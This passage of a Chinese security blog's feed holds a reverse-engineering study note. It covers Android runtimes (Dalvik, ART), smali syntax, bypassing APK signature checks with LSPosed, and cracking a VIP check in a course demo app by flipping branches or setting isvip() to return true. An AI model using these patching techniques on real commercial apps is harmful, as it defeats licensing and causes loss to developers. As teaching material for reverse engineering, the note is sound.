      
      
        &lt;h1 id=&quot;安卓四大组件&quot;&gt;&lt;a href=&quot;#安卓四大组件&quot; class=&quot;headerlink&quot; title=&quot;安卓四大组件&quot;&gt;&lt;/a&gt;安卓四大组件&lt;/h1&gt;&lt;p&gt;安卓应用程序的基本组成部分由四大组件构成，它们分别是Activity（活动）、Service（服务）、Bro
      
    
    </summary>
    
      <category term="/小书匠/日记/2024-01" scheme="https://www.giantbranch.cn/categories/%E5%B0%8F%E4%B9%A6%E5%8C%A0-%E6%97%A5%E8%AE%B0-2024-01/"/>
    
    
      <category term="安卓安全" scheme="https://www.giantbranch.cn/tags/%E5%AE%89%E5%8D%93%E5%AE%89%E5%85%A8/"/>
    
  </entry>
  
  <entry>
    <title>重学安卓逆向：初识smali，vip终结者</title>
    <link href="https://www.giantbranch.cn/2024/01/21/%E9%87%8D%E5%AD%A6%E5%AE%89%E5%8D%93%E9%80%86%E5%90%91%EF%BC%9A%E5%88%9D%E8%AF%86smali%EF%BC%8Cvip%E7%BB%88%E7%BB%93%E8%80%85/"/>
    <id>https://www.giantbranch.cn/2024/01/21/重学安卓逆向：初识smali，vip终结者/</id>
    <published>2024-01-20T16:00:00.000Z</published>
    <updated>2024-12-01T01:48:12.478Z</updated>
    
    <content type="html"><![CDATA[<p><strong>注：本次学习来源于：52pojie的正己的《安卓逆向这档事》，部分知识来源于查资料或者chatgpt等ai</strong><br><a href="https://www.52pojie.cn/thread-1695141-1-1.html" target="_blank" rel="noopener">https://www.52pojie.cn/thread-1695141-1-1.html</a><br><a href="https://github.com/ZJ595/AndroidReverse" target="_blank" rel="noopener">https://github.com/ZJ595/AndroidReverse</a><br><a href="https://aliyundrive.com/s/TJoKMK6du6x" target="_blank" rel="noopener">https://aliyundrive.com/s/TJoKMK6du6x</a></p><h1 id="关于：JVM、Dalvik-和-ART"><a href="#关于：JVM、Dalvik-和-ART" class="headerlink" title="关于：JVM、Dalvik 和 ART"></a>关于：JVM、Dalvik 和 ART</h1><ol><li><p><strong>JVM（Java Virtual Machine）：</strong></p><ul><li><strong>定义：</strong> Java 虚拟机是 Java 程序的运行环境，它提供了一个抽象的计算平台，使得 Java 程序能够在不同的硬件和操作系统上运行，实现了“一次编写，到处运行”的理念。</li><li><strong>工作原理：</strong> JVM 接收 Java 编译器生成的字节码，并将其翻译成本地机器码，以在特定的硬件和操作系统上执行 Java 程序。</li></ul></li><li><p><strong>Dalvik：</strong></p><ul><li><strong>定义：</strong> Dalvik 是 Google Android 操作系统上的一个虚拟机，用于执行 Android 应用程序的字节码。</li><li><strong>工作原理：</strong> Dalvik 虚拟机使用基于寄存器的架构，与传统的基于堆栈的 Java 虚拟机（如标准的 JVM）有所不同。Android应用程序的代码首先会被编译成Java字节码（.class文件），然后通过Android开发工具链中的工具将Java字节码转换为Dalvik字节码（.dex文件），然后在 Android 设备上执行。</li></ul></li><li><p><strong>ART（Android Runtime）：</strong></p><ul><li><strong>定义：</strong> ART 是 Android 系统中的下一代运行时环境，取代了 Dalvik。ART 在 Android 5.0（Lollipop）及以后的版本中被引入为默认的运行时环境。</li><li><strong>工作原理：</strong> 与 Dalvik 不同，ART 在应用安装时将字节码转换为本地机器码（Ahead-of-Time Compilation，AOT 编译），而不是在运行时即时编译。这有助于提高应用程序的性能，并减少在运行时的 CPU 和内存使用。ART 的引入带来了更好的性能、更低的功耗和更好的垃圾回收机制。</li></ul></li></ol><p>总体而言，JVM 是 Java 平台的标准虚拟机，而 Dalvik 和 ART 是针对 Android 平台的虚拟机和运行时环境。ART 的引入是为了提高 Android 设备上应用程序的性能和效率。</p><p>Android Runtime（ART）在 Android 应用程序安装时，将应用程序的字节码转换为本地机器代码，这一过程称为”Ahead-of-Time Compilation”（AOT 编译）。在 ART 中，这种预先编译的方式有助于提高 Android 应用程序的性能，并减少在运行时的 CPU 和内存使用。</p><p>具体步骤如下：</p><ol><li><p><strong>AOT 编译：</strong> 在 Android 应用程序安装时，ART 将 Dalvik 字节码转换为本地机器代码。这与 Dalvik 虚拟机的即时编译（Just-In-Time Compilation，JIT 编译）不同，JIT 编译是在应用程序运行时才将字节码转换为本地机器代码。</p></li><li><p><strong>本地机器代码：</strong> 转换后的本地机器代码以及应用程序的其他资源被存储在设备上，这样在应用程序运行时就无需再进行实时的字节码到机器代码的转换，提高了应用程序的启动速度和执行效率。</p></li><li><p><strong>执行：</strong> 在应用程序运行时，Android 系统执行已经转换为本地机器代码的应用程序，而不需要再解释和执行 Dalvik 字节码。</p></li></ol><p>这种预先编译的方式是 ART 的一个重要特点，相较于 Dalvik 的即时编译，它带来了更好的性能、更低的功耗以及更好的垃圾回收机制。这也是为什么 Android 5.0（Lollipop）及以后版本中默认采用 ART 作为运行时环境的原因。</p><h1 id="smali及语法"><a href="#smali及语法" class="headerlink" title="smali及语法"></a>smali及语法</h1><p>Smali 是一种与 Dalvik 虚拟机（现在逐渐被 ART 取代）相关的汇编语言，用于编写 Android 应用程序的 DEX 文件（Dalvik Executable）的人可读格式。DEX 文件包含 Dalvik 字节码，它是 Android 应用程序在运行时由 Dalvik 或 ART 运行时环境执行的二进制格式。</p><p>Smali语言允许开发者以文本形式编写Dalvik字节码的汇编代码。通过Smali，开发者可以查看和理解应用程序的Dalvik字节码，并进行反汇编、修改和分析。它提供了一种可读性更强、更易于理解和编辑的方式来操作Dalvik字节码。</p><p>Smali代码可以使用特定的工具（如smali/baksmali）进行转换，从Dalvik字节码到Smali代码的反汇编，以及从Smali代码到Dalvik字节码的汇编。</p><p><strong>Smali的基础语法：</strong></p><ol><li><p><strong>基本结构：</strong> Smali 代码以 <code>.smali</code> 为扩展名，每个 <code>.smali</code> 文件通常对应一个类（Class）的 Dalvik 字节码。</p></li><li><p><strong>注释：</strong> 注释以 <code>#</code> 开头，可以是单行注释或放在行末。例如：</p><figure class="highlight smali"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 这是一个单行注释</span></span><br><span class="line">const v0, 0x42  <span class="comment"># 这是一条带有行末注释的指令</span></span><br></pre></td></tr></table></figure></li><li><p><strong>寄存器：</strong> Dalvik 虚拟机使用寄存器进行操作，Smali 中的寄存器表示为 <code>vN</code>，其中 N 是一个整数。例如：</p><figure class="highlight smali"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">const v0, 0x42  <span class="comment"># 将常量 0x42 存储到寄存器 v0 中</span></span><br></pre></td></tr></table></figure></li><li><p><strong>指令：</strong> 每一行都包含一个 Dalvik 字节码指令。指令的格式一般为：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;指令助记符&gt; &lt;目标寄存器&gt;, &lt;操作数1&gt;, &lt;操作数2&gt;, ...</span><br></pre></td></tr></table></figure><p>例如：</p><figure class="highlight smali"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">add-int v1, v2, v3  <span class="comment"># 将 v2 和 v3 寄存器中的整数相加，结果存入 v1</span></span><br></pre></td></tr></table></figure></li><li><p><strong>标签：</strong> 标签用于标记代码的跳转目标，以冒号结尾。例如：</p><figure class="highlight smali"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">:start</span><br><span class="line">const v0, 0x42</span><br><span class="line">goto<span class="keyword"> :start</span></span><br></pre></td></tr></table></figure></li><li><p><strong>方法定义：</strong> 方法定义包含方法的修饰符、返回值类型、方法名和参数列表。方法体用花括号包裹。例如：</p><figure class="highlight smali"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">.method</span><span class="keyword"> public</span><span class="keyword"> static</span> add(II)I</span><br><span class="line"><span class="keyword">   .registers</span> 2</span><br><span class="line">  <span class="built_in"> add-int </span>v0, p0, p1</span><br><span class="line">  <span class="built_in"> return </span>v0</span><br><span class="line"><span class="keyword">.end method</span></span><br></pre></td></tr></table></figure></li><li><p><strong>字段引用：</strong> 引用字段时使用 <code>sfield</code>（静态字段）或 <code>iget</code>（实例字段）指令。例如：</p><figure class="highlight smali"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sget-object v0, <span class="class">Lcom/example/Class;</span>-&gt;staticField:<span class="class">Ljava/lang/String;</span></span><br></pre></td></tr></table></figure></li><li><p><strong>方法调用：</strong> 使用 <code>invoke</code> 指令调用方法，根据方法类型选择 <code>invoke-static</code>、<code>invoke-direct</code>、<code>invoke-virtual</code> 等。例如：</p><figure class="highlight smali"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">invoke-static &#123;v0, v1&#125;, <span class="class">Lcom/example/Class;</span>-&gt;add(II)I</span><br></pre></td></tr></table></figure></li></ol><p>这只是 Smali 语法的一小部分，更详细的语法规则和指令集可以在 Smali 的官方文档或其他资源中找到。理解 Smali 语法对于进行 Android 应用程序的逆向工程和分析非常有帮助。</p><p>下面列出一些关键字及数字类型等</p><table><thead><tr><th>名称</th><th>注释</th></tr></thead><tbody><tr><td>.class</td><td>类名</td></tr><tr><td>.super</td><td>父类名，继承的上级类名名称</td></tr><tr><td>.source</td><td>源名</td></tr><tr><td>.field</td><td>变量</td></tr><tr><td>.method</td><td>方法名</td></tr><tr><td>.register</td><td>寄存器</td></tr><tr><td>.end method</td><td>方法名的结束</td></tr><tr><td>public</td><td>公有</td></tr><tr><td>protected</td><td>半公开，只有同一家人才能用</td></tr><tr><td>private</td><td>私有，只能自己使用</td></tr><tr><td>.parameter</td><td>方法参数</td></tr><tr><td>.prologue</td><td>方法开始</td></tr><tr><td>.line xxx</td><td>位于第xxx行</td></tr></tbody></table><p>数据类型对应</p><table><thead><tr><th>smali类型</th><th>java类型</th><th>注释</th></tr></thead><tbody><tr><td>V</td><td>void</td><td>无返回值</td></tr><tr><td>Z</td><td>boolean</td><td>布尔值类型，返回0或1</td></tr><tr><td>B</td><td>byte</td><td>字节类型，返回字节</td></tr><tr><td>S</td><td>short</td><td>短整数类型，返回数字</td></tr><tr><td>C</td><td>char</td><td>字符类型，返回字符</td></tr><tr><td>I</td><td>int</td><td>整数类型，返回数字</td></tr><tr><td>J</td><td>long （64位 需要2个寄存器存储）</td><td>长整数类型，返回数字</td></tr><tr><td>F</td><td>float</td><td>单浮点类型，返回数字</td></tr><tr><td>D</td><td>double （64位 需要2个寄存器存储）</td><td>双浮点类型，返回数字</td></tr><tr><td>string</td><td>String</td><td>文本类型，返回字符串</td></tr><tr><td>Lxxx/xxx/xxx</td><td>object</td><td>对象类型，返回对象</td></tr></tbody></table><p>常用指令</p><table><thead><tr><th>关键字</th><th>注释</th></tr></thead><tbody><tr><td>const</td><td>重写整数属性，真假属性内容，只能是数字类型</td></tr><tr><td>const-string</td><td>重写字符串内容</td></tr><tr><td>const-wide</td><td>重写长整数类型，多用于修改到期时间。</td></tr><tr><td>return</td><td>返回指令</td></tr><tr><td>if-eq</td><td>全称equal(a=b)，比较寄存器ab内容，相同则跳</td></tr><tr><td>if-ne</td><td>全称not equal(a!=b)，ab内容不相同则跳</td></tr><tr><td>if-eqz</td><td>全称equal zero(a=0)，z即是0的标记，a等于0则跳</td></tr><tr><td>if-nez</td><td>全称not equal zero(a!=0)，a不等于0则跳</td></tr><tr><td>if-ge</td><td>全称garden equal(a&gt;=b)，a大于或等于则跳</td></tr><tr><td>if-le</td><td>全称little equal(a&lt;=b)，a小于或等于则跳</td></tr><tr><td>goto</td><td>强制跳到指定位置</td></tr><tr><td>switch</td><td>分支跳转，一般会有多个分支线，并根据指令跳转到适当位置</td></tr><tr><td>iget</td><td>获取寄存器数据</td></tr><tr><td># 寄存器</td><td></td></tr><tr><td>在 Smali 中，寄存器是用来存储和处理数据的虚拟寄存器。这些虚拟寄存器用于在 Dalvik 字节码中执行各种操作。以下是有关 Smali 寄存器的详细说明：</td><td></td></tr></tbody></table><ol><li><p><strong>寄存器标识：</strong> 寄存器用 <code>vN</code> 表示，其中 N 是一个非负整数。例如，<code>v0</code>、<code>v1</code>、<code>v2</code> 等。</p></li><li><p><strong>常见寄存器：</strong></p><ul><li><code>v0</code> 到 <code>v15</code>：这些是普通的虚拟寄存器，用于存储局部变量和中间计算结果。</li><li><code>p0</code> 到 <code>p&lt;n&gt;</code>：这些是参数寄存器，用于存储方法的参数。例如，<code>p0</code> 是第一个参数，<code>p1</code> 是第二个参数，以此类推。</li></ul></li><li><p><strong>寄存器分配：</strong> 在 Smali 代码中，通过 <code>.registers</code> 指令来定义寄存器的数量。例如：</p><figure class="highlight smali"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">.registers</span> 4</span><br></pre></td></tr></table></figure></li><li><p><strong>寄存器类型：</strong> 虚拟寄存器可以存储不同类型的数据，包括整数、浮点数、对象引用等。在使用寄存器之前，通常需要使用 <code>.local</code> 或 <code>.parameter</code> 指令声明寄存器的类型。例如：</p><figure class="highlight smali"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">.local</span> v0, <span class="string">"integerVariable"</span>:I</span><br></pre></td></tr></table></figure></li><li><p><strong>寄存器的作用域：</strong> 寄存器的作用域通常限定在方法的范围内。在一个方法中定义的寄存器在该方法的整个生命周期内可用。</p></li><li><p><strong>寄存器的使用：</strong> 寄存器用于存储临时变量、方法参数和中间计算结果。例如，下面的 Smali 代码演示了将两个寄存器中的整数相加并将结果存储到另一个寄存器的操作：</p><figure class="highlight smali"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">add-int v2, v0, v1  <span class="comment"># 将 v0 和 v1 寄存器中的整数相加，结果存储到 v2</span></span><br></pre></td></tr></table></figure></li><li><p><strong>寄存器重用：</strong> Dalvik 虚拟机会在需要时自动重用寄存器，因此在 Smali 代码中，同一个寄存器可能在不同的位置用于存储不同的数据。</p></li><li><p><strong>寄存器的生命周期：</strong> 寄存器的生命周期由其作用域决定。在方法执行期间，局部变量寄存器用于存储临时值，方法结束时这些寄存器的内容将被销毁。</p></li></ol><p>总体而言，Smali 寄存器是 Dalvik 字节码中的虚拟寄存器，用于在方法执行期间存储和处理数据。在编写 Smali 代码时，理解寄存器的分配、作用域和类型是非常重要的。</p><h1 id="绕过签名验证安装应用"><a href="#绕过签名验证安装应用" class="headerlink" title="绕过签名验证安装应用"></a>绕过签名验证安装应用</h1><p>因为在之前已经安装了LSPosed，之后再装核心破解的app，再点击通知栏模块未启用的通知，进去启用，勾选系统框架，再重启即可。</p><p>之后因为签名验证导致无法安卓也能安装成功了</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">adb install 教程demo(更新).apk</span><br><span class="line">Performing Streamed Install</span><br><span class="line">adb: failed to install D:\DownLoad\安卓逆向这档事\003第三节.初识smali，vip终结者\教程demo(更新).apk: Failure [INSTALL_FAILED_UPDATE_INCOMPATIBLE: Package com.zj.wuaipojie signatures do not match previously installed version; ignoring!]</span><br><span class="line"></span><br><span class="line">adb install 教程demo(更新).apk</span><br><span class="line">Performing Streamed Install</span><br><span class="line">Success</span><br></pre></td></tr></table></figure><h1 id="收集硬币并完成一键3连"><a href="#收集硬币并完成一键3连" class="headerlink" title="收集硬币并完成一键3连"></a>收集硬币并完成一键3连</h1><p>第二关的任务是收集硬币并完成一键3连，长按之后弹出<code>请先充值大会员哦！</code>，所以一般只需定位到字符串，之后修改跳转逻辑</p><p>实验使用jadx-gui，文本搜索大会员</p><p><img src="http://pic.giantbranch.cn/pic/1705813483901.png" alt></p><p>此外还可以通过开发者助手，先界面资源分析，之后赋值按钮的十六进制，再通过MT管理器搜索，搜索类型整数，选择十六禁止，即可。</p><p>破解的方法可以有几种：修改判断、强制跳转、修改寄存器的值</p><ul><li>修改判断： 比如if-ge改为if-le，if-eqz改为ifnez</li><li>强制跳转：使用goto，比如 <code>goto :label_name</code>（比如在vip功能执行之前加个标签<code>:goto_666</code>,之后再函数开头的地方直接<code>goto :goto_666</code>）</li><li>修改寄存器的值：如果是基于寄存器进行判断，可以修改寄存器，从而使判断逆转，比如将下面<code>const/4 v0, 0x0</code>修改为<code>const/4 v0, 0x1</code></li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">.method public final isvip()Z</span><br><span class="line">    .registers 2</span><br><span class="line"></span><br><span class="line">    const/4 v0, 0x0</span><br><span class="line"></span><br><span class="line">    return v0</span><br><span class="line">.end method</span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;&lt;strong&gt;注：本次学习来源于：52pojie的正己的《安卓逆向这档事》，部分知识来源于查资料或者chatgpt等ai&lt;/strong&gt;&lt;br&gt;&lt;a href=&quot;https://www.52pojie.cn/thread-1695141-1-1.html&quot; target
      
    
    </summary>
    
      <category term="/小书匠/日记/2024-01" scheme="https://www.giantbranch.cn/categories/%E5%B0%8F%E4%B9%A6%E5%8C%A0-%E6%97%A5%E8%AE%B0-2024-01/"/>
    
    
      <category term="安卓安全" scheme="https://www.giantbranch.cn/tags/%E5%AE%89%E5%8D%93%E5%AE%89%E5%85%A8/"/>
    
  </entry>
  
</feed>
